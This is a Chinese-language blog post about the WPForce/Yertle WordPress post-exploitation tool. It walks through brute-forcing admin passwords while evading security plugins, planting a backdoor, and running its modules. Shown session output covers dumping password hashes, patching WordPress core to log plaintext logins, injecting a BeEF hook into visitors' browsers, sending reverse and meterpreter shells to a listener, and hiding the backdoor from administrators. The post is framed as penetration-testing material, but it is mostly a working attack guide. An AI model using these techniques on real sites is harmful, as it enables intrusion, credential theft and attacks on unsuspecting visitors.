WPForce:适用于后渗透的WordPress安全检测工具
作者:admin | 时间:2017-4-29 14:30:24 | 分类:黑客工具 隐藏侧边栏展开侧边栏
前言
在渗透测试过程中你可能会经常遇到使用WordPress网站。WordPress是一款非常受欢迎的CMS,而且大多数使用WordPress的网站都有复杂的密码和安全插件。但在一些内网中攻击者经常可以在老版本的WordPress中找到漏洞或者枚举管理密码。当你获取密码登陆后台之后你就可以进行提权等操作。
项目主页
https://github.com/n00py/WPForce
功能
虽然WPScan可以说是目前最好的WordPress安全检测工具。与WPScan使用登录页面来枚举管理密码不同,WPForce则是调用WordPress身份验证的API来进行枚举操作。此举可以更好地隐藏自己,防止操作被安全插件拦截。
通过枚举获取到正确的管理口令后,WPForce中的Yertle脚本还可用于将后门上传到WordPress服务器上并执行多个后期Exploit模块。
运行Yertle只需提供URL,用户名,密码和后门类型。有两种类型的后门可供上传,我一般喜欢用interactive。
访问这个后门只需使用-e参数加上传目录的名称就会出现类似于SQLmap的os-shell的命令行。输入“help”或“?”可以查看可用的模块。
Core Commands ============= Command Description ------- ----------- ? 帮助菜单 beef 将BeEF hook注入到网站 exit 终止会话 hashdump 转储所有WordPress密码散列 help 帮助菜单 keylogger 修补WordPress核心来记录明文凭证 keylog 显示keylog文件 meterpreter 执行PHP meterpreter连接到metasploit quit 终止会话 shell 发送TCP反向shell到netcat listenerr stealth 在插件页面隐藏Yertle
你可以运行的一个实用的后期Exploit模块—hashdump。hashdump的作用是登录数据库查询包含密码Hash的表并返回输出。你可以破解这些Hash并尝试使用这些凭据进行横向渗透。
os-shell> hashdump ID: 1 - Username: admin Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1 Email: Quaoar@localhost.com ID: 2 - Username: wpuser Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S. Email: wpuser@localhost.com ID: 3 - Username: n00py Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/. Email: n00py@protonmail.com os-shell>
不仅可以获取Hash,还可以获取明文凭证。通过修改WordPress核心文件,我们可以在用户认证时以明文形式记录所有密码。
os-shell> keylogger This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y wp_signon function patched. Do not run this more than once. Use 'keylog' to check the log file. os-shell>
等待用户登录后,我们可以通过键入“keylog”来查看日志文件中的明文凭据。
os-shell> keylog 2017-03-30 - Username: && Password: 2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword
我们还可以将BeEF hook到网站中。对浏览网站的任何用户运行任意JavaScript。
os-shell> beef This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y IP Address: 10.0.1.16 BeEF hook added! Check BeEF for any hooked clients. Do not run this multiple times.
我们只需等待用户浏览网站上钩,就可以发送任何我们想要的JavaScript Payload。
效果如下:
你还可以使用反向TCP shell和一个PHP
shell。要升级到完全交互的shell,只需运行:
os-shell> shell IP Address: 10.0.1.4 Port: 8080 Sending reverse shell to 10.0.1.4 port 8080 os-shell>
并在所选端口上监听shell:
root@Kali:~/WPForce$ nc -l 8080 bash: no job control in this shell www-data@Quaoar:/var/www/wordpress/wp-content/plugins/aekpmsu$
如果你想要一个更换shell,加载metasploit并运行:
os-shell> meterpreter IP Address: 10.0.1.4 Port: 4444 Sending meterpreter stager to connect back to 10.0.1.4:4444
并在metasploit内接收更换shell:
[*] Started reverse handler on 10.0.1.4:4444 [*] Starting the payload handler... [*] Sending stage (33068 bytes) to 10.0.1.21 [*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600
使用此工具时还可以更好的隐藏自己。默认情况下,该模块将其自身注册为WordPress中的插件,此插件对管理员来说是可见的。
你可以从插件列表中删除后门,简单的运行”stealth“命令。后门仍然可以访问,但不会在列表中显示。
os-shell> stealth
注意:Yertle将默认发送用户代理“Yertle
backdoor
uploader”,但可以用-a标志来覆盖。根据我的经验,该用户代理导致我的IP在使用IPS测试Web服务器时立即被禁止。
*转自MottoIN